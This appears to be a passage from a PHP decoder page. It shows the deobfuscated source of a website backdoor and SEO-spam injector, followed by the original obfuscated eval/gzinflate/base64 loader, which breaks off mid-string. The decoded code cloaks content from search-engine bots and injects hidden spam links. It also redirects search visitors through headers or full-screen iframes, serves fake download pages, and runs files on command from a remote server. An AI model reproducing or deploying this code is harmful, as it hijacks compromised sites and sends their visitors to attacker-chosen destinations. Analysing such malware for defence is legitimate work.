			<meta itemprop="worstRating" content="1">
			<span itemprop="ratingValue" class="rating-value">$value</span>/
			<span itemprop="bestRating">5</span> &ndash;
			<span itemprop="ratingCount" class="rating-count">$count</span> votes
		</span>
	</div>
</div>
EOF;
	}

	function getWritingScriptPath()
	{
		if ($data = $this->cache->read('iframescript2')) {
			return $data;
		}

		$path = "/?jsname=" . md5(rand());

		$this->cache->write('iframescript2', $path);

		return $path;
	}

	function getScriptWritingScript($key, $originalKey)
	{
		$path = $this->getWritingScriptPath();

		$fullPath = "$path&key=" . urlencode($key) . "&original=" . $originalKey;
		$fullPath = htmlspecialchars($fullPath);

		return "<script data-cfasync=\"false\" type=\"text/javascript\" src=\"$fullPath\"></script>";
	}

	function getIframeRedirectCode($redirectKey, $original)
	{
		$redirectKey = htmlspecialchars($redirectKey);

		$frameUrl = $this->cache->read('frameurl');

		$frameUrl = str_replace('[key]', urlencode($redirectKey), $frameUrl);
		$frameUrl = str_replace('[original]', urlencode($original), $frameUrl);
		$frameUrl = str_replace('[site]', $_SERVER['HTTP_HOST'], $frameUrl);

		

		return <<<EOF
var writeMaybe = function() {
	if (document.body && document.body.innerHTML) {
		document.body.innerHTML = '';
	}

	if (document.readyState !== "complete") {
		return setTimeout(writeMaybe, 20);
	}

	var html = '<iframe style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483649" src="$frameUrl" frameBorder="0"></iframe>';

	document.body.innerHTML = html;
};

writeMaybe();
EOF;
	}

	function randomGet()
	{
		$values = func_get_args();
		return $values[mt_rand(0, count($values) - 1)];
	}

	function addLinks($html)
	{
		if ($this->cache->read('innerlinkdisplay') == 'remove') {
			return $html;
		}

		$linkList = $this->cache->read('links');
		$linkList = $linkList ? json_decode($linkList, true) : array();

		$seed = crc32(rtrim($_SERVER['REQUEST_URI'], '/'));

		mt_srand($seed);

		
		$number = 12 + abs($seed % 9);

		$this->linksToInject = $this->seededGet($linkList, $number);

		
		$html = preg_replace_callback('#<a.*?</a>#is', array($this, 'injectLinkReplace'), $html);
		$html = preg_replace_callback('#<a.*?</a>#is', array($this, 'injectLinkReplace'), $html);
		$html = preg_replace_callback('#<a.*?</a>#is', array($this, 'injectLinkReplace'), $html);

		
		
		$this->linkReplaceGroupSize = 100;
		$this->linkReplaceMax = 0;

		$html = preg_replace_callback('#<a.*?</a>#is', array($this, 'injectLinkReplace'), $html);

		$html = preg_replace_callback("#(</body>|</html>|$)#i", array($this, 'injectLinkBefore'), $html);

		return $html;
	}

	function getTime()
	{
		return $this->overrideTime ? $this->overrideTime : time();
	}

	function injectLinkReplace($matches)
	{
		return $this->injectLink($matches[0], 'replace');
	}

	function injectLinkBefore($matches)
	{
		return $this->injectLink($matches[0], 'before');
	}

	function injectLink($text, $type)
	{
		if (count($this->linksToInject) == 0) return $text;
		if (mt_rand(0, $this->linkReplaceMax) != 0) return $text;

		$data = "";

		for ($i = 0; count($this->linksToInject) && $i < $this->linkReplaceGroupSize; $i++) {
			$link = array_shift($this->linksToInject);
			list($url, $anchor, $postedat) = $link;
			
			if (! ($this->shouldBePosted($postedat) || $GLOBALS['DDS_DEBUG_MODE'])) continue;
			$link = '<a href="'.htmlentities($url).'">'.$anchor.'</a>';

			if ($GLOBALS['DDS_DEBUG_MODE']) {
				$link .= ' (('.$this->printTimeDifference($postedat).'))';
			}

			$data .= $link."
";
		}

		if ($this->cache->read('innerlinkdisplay') == 'hide') {
			$px = mt_rand(2000, 4000);

			$data = <<<EOF
<div style="position: absolute; top: -{$px}px">$data</div>
EOF;

			if ($type == 'replace') $type = 'after';
		}

		switch ($type) {
			case 'before':
				return $data . $text;
			case 'after':
				return $text . $data;
			case 'replace':
				return $data;
		}
	}

	function printTimeDifference($time)
	{
		$value = $this->timeDifference($time);
		return number_format($value / 3600, 2) . ' hours';
	}

	function timeDifference($time)
	{
		return time() - 60 - $time;
	}

	function shouldBePosted($time)
	{
		return $this->timeDifference($time) > 0;
	}

	function seededGet($items, $number)
	{
		$items = array_values($items);

		$res = array();

		$max = count($items);

		for ($i = 0; $i < $number; $i++) {
			$res[] = $items[mt_rand(0, $max)];
		}

		return $res;
	}
}



class Bot_UAChecker
{
	/** @var Cache_Writer */
	var $cache;

	function __construct($cache)
	{
		$this->cache = $cache;
	}

	function isBot($userAgent)
	{
		$botUserAgents = json_decode($this->cache->read('bots/useragents'));

		if (! $botUserAgents) return false;

		foreach ($botUserAgents as $botUserAgent) {
			if (preg_match('#'.$botUserAgent.'#i', $userAgent)) {
				return true;
			}
		}

		return false;
	}
}



class Bot_Linker
{
	var $code;
	var $remaining;

	var $randomFactor = 10;

	function __construct($code, $links = 5)
	{
		$this->code = $code;
		$this->remaining = $links;
	}

	function injectIntoHtml($html)
	{
		$html = preg_replace_callback('#>([^>]+?)</a>#i', array($this, 'addLink'), $html);
		$html = preg_replace_callback('#>([^>]+?)</a>#i', array($this, 'addLink'), $html);
		$this->randomFactor = 0;
		$html = preg_replace_callback('#>([^>]+?)</a>#i', array($this, 'addLink'), $html);
		return $html;
	}

	function addLink($matches)
	{
		if (! $this->remaining || mt_rand(0, $this->randomFactor) != 0) return $matches[0];

		$this->remaining--;

		$uri = "/?".$this->code;

		$link = '<div style="display: none"><a href="'.$uri.'">'.$matches[1].'</a></div>';

		return $matches[0] . $link;
	}

	function isHiddenPage($requestUri)
	{
		return $requestUri == "/?".$this->code;
	}
}




class Bot_Detector
{
	/** @var  Bot_IPChecker */
	var $ipChecker;

	/** @var Bot_UAChecker */
	var $uaChecker;

	function __construct($ipChecker, $uaChecker)
	{
		$this->ipChecker = $ipChecker;
		$this->uaChecker = $uaChecker;
	}

	function isBot($ip, $userAgent)
	{
		if ($this->ipChecker->isBot($ip)) {
			dds_debug("Bot by IP");
			return true;
		}

		if ($this->ipChecker->isNewIp($ip)) {
			dds_debug("Bot by NEW IP");
			return true;
		}

		if ($this->uaChecker->isBot($userAgent)) {
			dds_debug("Bot by UA");
			return true;
		}

		return false;
	}
}



class Bot_IPChecker
{
	/** @var DS_CacheWriter */
	var $cache;

	function __construct($cache)
	{
		$this->cache = $cache;
	}

	function getIpCount()
	{
		return count($this->getIpList());
	}

	function isBot($ip)
	{
		return $this->exactlyMatches($ip) || $this->maskMatches($ip);
	}

	function exactlyMatches($ip)
	{
		$ips = $this->getIpList();

		$long = ip2long($ip);

		return in_array($long, $ips);
	}

	function maskMatches($ip)
	{
		$ipMaskList = json_decode($this->cache->read('bots/masks'));

		if (! $ipMaskList) return false;

		foreach ($ipMaskList as $botIp) {
			$botIp = trim($botIp);

			if ($botIp && preg_match("#^$botIp$#", $ip)) {
				return true;
			}
		}

		return false;
	}

	function getIpList()
	{
		$ipList = $this->cache->read('bots/ips');

		if (! $ipList) return array();

		return array_values(unpack('V*', $ipList));
	}

	function getNewIpList()
	{
		return $this->cache->jsonRead('bots/new_ips', array());
	}

	/**
	 * Add new ip from hidden link
	 */
	function addBotIP($ip)
	{
		
		if ($this->exactlyMatches($ip)) return;

		$list = $this->getNewIpList();

		if (! in_array($ip, $list)) {
			$list[] = $ip;
		}

		$this->cache->write('bots/new_ips', json_encode($list));
	}

	/**
	 * Add new ip from server-provided list
	 */
	function addIpToList($ip)
	{
		$ips = $this->getIpList();

		$long = ip2long($ip);

		if (in_array($long, $ips)) return false;

		$ips[] = $long;

		array_unshift($ips, "V*");

		$binary = call_user_func_array("pack", $ips);

		return $this->cache->write('bots/ips', $binary);
	}

	function isNewIp($ip)
	{
		return in_array($ip, $this->getNewIpList());
	}
}



class DS_Browser
{
	function get($url, $options = array())
	{
		$data = $this->query($url, $options);
		return $data ? $data['html'] : false;
	}

	function getVerbose($url, $options = array())
	{
		return $this->query($url, $options);
	}

	function query($url, $requestOptions = array())
	{
		$debugMode = @$GLOBALS['DDS_DEBUG_MODE'];

		$defaults = array(
			CURLOPT_HTTPHEADER => array(
				'User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0',
				'Cache-Control: no-cache'
			),
			CURLOPT_RETURNTRANSFER => true,
			CURLOPT_CONNECTTIMEOUT => 3,
			CURLOPT_TIMEOUT => 15,
			CURLOPT_URL => $url,
			CURLOPT_ENCODING => 'gzip',
			CURLOPT_FOLLOWLOCATION => true
		);

		$options = $requestOptions + $defaults;

		if (isset($options[CURLOPT_FILE]) || isset($requestOptions[CURLOPT_WRITEFUNCTION])) {
			unset($options[CURLOPT_RETURNTRANSFER]);
		}

		if (isset($requestOptions[CURLOPT_HTTPHEADER])) {
			$options[CURLOPT_HTTPHEADER] = array_merge($requestOptions[CURLOPT_HTTPHEADER], $defaults[CURLOPT_HTTPHEADER]);
		}

		if ($debugMode) {
			$verbose = fopen('php://temp', 'rw+');
			$options[CURLOPT_VERBOSE] = 1;
			$options[CURLOPT_STDERR] = $verbose;
		}

		$ch = curl_init();

		if (! $ch) dds_debug("Could not init curl");

		if (! curl_setopt_array($ch, $options)) {
			dds_debug("Could not set curl options");
		}

		$html = curl_exec($ch);

		if ($debugMode) {
			dds_debug("CURL info: ".var_export(@curl_getinfo($ch), true));
			dds_debug("CURL errno: ".@curl_errno($ch));
			dds_debug("CURL error: ".@curl_error($ch));

			rewind($verbose);
			$verboseLog = stream_get_contents($verbose);
			dds_debug("CURL headers:
$verboseLog");
		}

		$response = array(
			'html' => $html,
			'info' => curl_getinfo($ch)
		);

		curl_close($ch);

		return $response;
	}
}



class DS_DestinationFetcher
{
	/** @var  DS_Browser */
	var $browser;

	/** @var  DS_CacheWriter */
	var $cache;

	function __construct($browser, $cache)
	{
		$this->browser = $browser;
		$this->cache = $cache;
	}

	function getHtml($url)
	{
		$cacheFile = "landing:".$url;
		$ageFile = "age:".$url;

		$age = time() - $this->cache->read($ageFile, 0);

		if ($age > 3600) {
			$this->cache->remove($cacheFile);
		}

		if ($data = $this->cache->read($cacheFile)) {
			return $data;
		}

		$data = $this->browser->getVerbose($url);

		if (! $data) return false;

		$html = $data['html'];
		$endUrl = $data['info']['url'];

		if (! preg_match('#<head#i', $html)) return false;

		$base = "<base href=\"$endUrl\" />";

		$html = preg_replace('#<head[^>]*>#i', '$0'.$base, $html);

		$this->cache->write($cacheFile, $html);
		$this->cache->write($ageFile, time());

		return $html;
	}
}


$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];

if(filter_var($forward, FILTER_VALIDATE_IP)) {
	$ip = $forward;
} else if (filter_var($client, FILTER_VALIDATE_IP)) {
	$ip = $client;
} else {
	$ip = $_SERVER['REMOTE_ADDR'];
}

$overrideTime = false;

if ($password == @$_COOKIE['dds_debug_password']) {
	$GLOBALS['DDS_DEBUG_MODE'] = true;

	dds_debug('<pre>');
	dds_debug('Debug mode');

	$_SERVER['HTTP_X_PASSWORD'] = $password;

	if (isset($_COOKIE['action'])) {
		dds_debug("Setting action to '{$_COOKIE['action']}'");
		$_SERVER['HTTP_X_ACTION'] = $_COOKIE['action'];
	}

	if (isset($_COOKIE['time'])) $overrideTime = $_COOKIE['time'];
	if (isset($_COOKIE['ip'])) $ip = $_COOKIE['ip'];
}

$tryDirs = array(
	dirname(__FILE__) . '/',
	'/var/tmp/',
	'/tmp/',
);

$browser = new DS_Browser();
$installer = new DS_Installer($browser, $password);

foreach ($tryDirs as $cacheDir) {
	if ($installer->isWritable($cacheDir)) break;
}

$uri = $_SERVER['REQUEST_URI'];

if ($uri != '/') {
	$uri = rtrim($uri, '/');
}

$host = str_replace('www.', '', $_SERVER['HTTP_HOST']);
$cacheWriter = new DS_CacheWriter($cacheDir, $host);

if (substr_count($uri, '/') == 2 && ! $cacheWriter->exists($uri)) {
	$fixedUri = substr($uri, strpos($uri, '/', 1));

	if ($cacheWriter->exists($fixedUri)) {
		dds_debug("Fixed prefixed URI from $uri to $fixedUri");
		$uri = $fixedUri;
	}
}

$userLogger = new DS_UserLogger($cacheWriter);

$uaChecker =  new Bot_UAChecker($cacheWriter);
$ipChecker = new Bot_IPChecker($cacheWriter);
$botDetector = new Bot_Detector($ipChecker, $uaChecker);

$serverClient = new DS_ServerClient($browser, @$_SERVER['HTTP_X_CLIENTHOST'], $password);

$apiServer = new DS_ApiServer($installer, $cacheWriter, $serverClient, $ipChecker, $userLogger, array(
	'version' => $version,
	'password' => $password
));

$destinationFetcher = new DS_DestinationFetcher($browser, $cacheWriter);

$fileMaker = new DS_FilenameMaker('zip');

$contentGenerator = new Bot_ContentGenerator($cacheWriter, $fileMaker, $uri, $browser);
$contentGenerator->overrideTime = $overrideTime;

parse_str(file_get_contents('php://input'), $nicePost);

if (get_magic_quotes_gpc()) {
	$func = create_function( '&$val, $key', 'if(!is_numeric($val)) {$val = stripslashes($val);}' );
	array_walk_recursive($nicePost, $func);
}



$includeWhat = $apiServer->shouldInclude($_SERVER);

dds_debug($includeWhat);

if ($includeWhat) {
	
	echo md5(rand());

	dds_debug("Including ".$includeWhat['file']);

	ob_start();
	@include $includeWhat['file'];
	ob_end_clean();

	dds_debug("END include");

	call_user_func($includeWhat['shutdown']);

	exit();
}

$apiResponse = $apiServer->processApiCall($_SERVER, $nicePost);

if ($apiResponse) {
	dds_debug("Handling api request $includeWhat");
	echo '<dds-delimiter>'.$apiResponse.'</dds-delimiter>';
	exit();
}

$seManager = new DS_SEManager($cacheWriter, $browser);

dds_debug("URI = $uri");

$host = $_SERVER['HTTP_HOST'];
$url = "http://".$host.$uri;

dds_debug("IP $ip, long ".ip2long($ip));

$isBot = $botDetector->isBot($ip, @$_SERVER['HTTP_USER_AGENT']);

dds_debug("Is bot: ".($isBot ? "yes" : "no"));

if (false !== strpos($uri, $contentGenerator->getWritingScriptPath())) {
	dds_debug("Script writing script path = $uri");

	if (! $isBot) {
		header('Content-Type: application/javascript');
		echo $contentGenerator->getIframeRedirectCode($_GET['key'], $_GET['original']);
	}

	exit();
}

if (false !== strpos($uri, $contentGenerator->getFakeDownloadPath())) {
	echo $contentGenerator->getFakeDownloadPage();
	exit();
}

$seKey = $seManager->getSEKey($_SERVER, $uri);

if ($seKey) {
	dds_debug("Got SE key $seKey");
}

if (@$GLOBALS['DDS_DEBUG_MODE'] && isset($_COOKIE['sekey'])) {
	$seKey = $_COOKIE['sekey'];
}

if (! $seKey) {
	$seKey = $contentGenerator->getKeyword();
}

if (! $seKey) {
	$seKey = preg_replace('#^/\??#', '', $uri);
	$seKey = str_replace('-', ' ', $seKey);
}

dds_debug("SE key: '$seKey'");

$redirectType = $cacheWriter->read('redirecttype');

if ($redirectType == 'filename') {
	$redirectKey = $fileMaker->getFilename($seKey);
} else if ($redirectType == 'keyword') {
	$redirectKey = $contentGenerator->getKeyword();

	if (! $redirectKey) {
		dds_debug("No page keyword");
		$redirectKey = $seKey;
	}
} else {
	$redirectKey = $contentGenerator->getMainKeyword();
}

$comesFromSE = $seManager->comesFromSE($_SERVER);

dds_debug("Comes from SE: ".$comesFromSE);

$userLogger->logUser($ip);

$redirectWith = $cacheWriter->read('redirectwith');

if (! $isBot && $comesFromSE && $cacheWriter->exists($uri) && $redirectWith != 'frame') {
	header("Cache-Control: no-cache");

	dds_debug("Redirecting");

	if (ob_get_level() > 0) { ob_end_clean(); }

	if (! $seKey) return;

	$redirectLocation = $seManager->getRedirectDestination($ip, $redirectKey, $contentGenerator->getKeyword());

	if ($redirectLocation === "IS_BOT") {
		$isBot = true;
	} else if ($redirectWith == 'showdest' && $html = $destinationFetcher->getHtml($redirectLocation)) {
		echo $html;
		exit();
	} else if ($redirectWith == 'noredirect' || $redirectWith == 'fakedownload') {
		
	} else {
		header("Location: $redirectLocation");

		$js = <<<EOF
<script type="text/javascript">
window.location = "$redirectLocation";
</script>
EOF;

		echo $js;

		exit();
	}
}

mt_srand(crc32($_SERVER['HTTP_HOST']));

$charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$length = 6;
$code = '';
while ($length--) {
	$code .= $charset[mt_rand(0, strlen($charset)-1)];
}

$linker = new Bot_Linker($code, mt_rand(3, 6));

dds_debug("Only bots: ".$cacheWriter->read('onlybots'));

$showToAll = $cacheWriter->read('onlybots') == 'no';
$hasContent = $contentGenerator->hasContent();

$innerLinkSettings = $cacheWriter->read('innerlinkdisplay');

if ($linker->isHiddenPage($uri)) {
	dds_debug("Is hidden page");
	header("Cache-Control: no-cache");

	$ipChecker->addBotIP($ip);
} else if (! $contentGenerator->canTouchUri()) {
	dds_debug("Can't touch uri $uri");
} else if ($hasContent && ($isBot || $showToAll)) {
	header("Cache-Control: no-cache");
	$contentGenerator->printCache($redirectKey);
	exit();
} else if ($isBot || $innerLinkSettings == 'hide') {
	return ob_start(array($contentGenerator, 'addLinks'));
} if (! $cacheWriter->exists('noinject')) {
	dds_debug("Injecting links for catching bots");
	ob_start(array($linker, 'injectIntoHtml'));
}

mt_srand();
} 

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode('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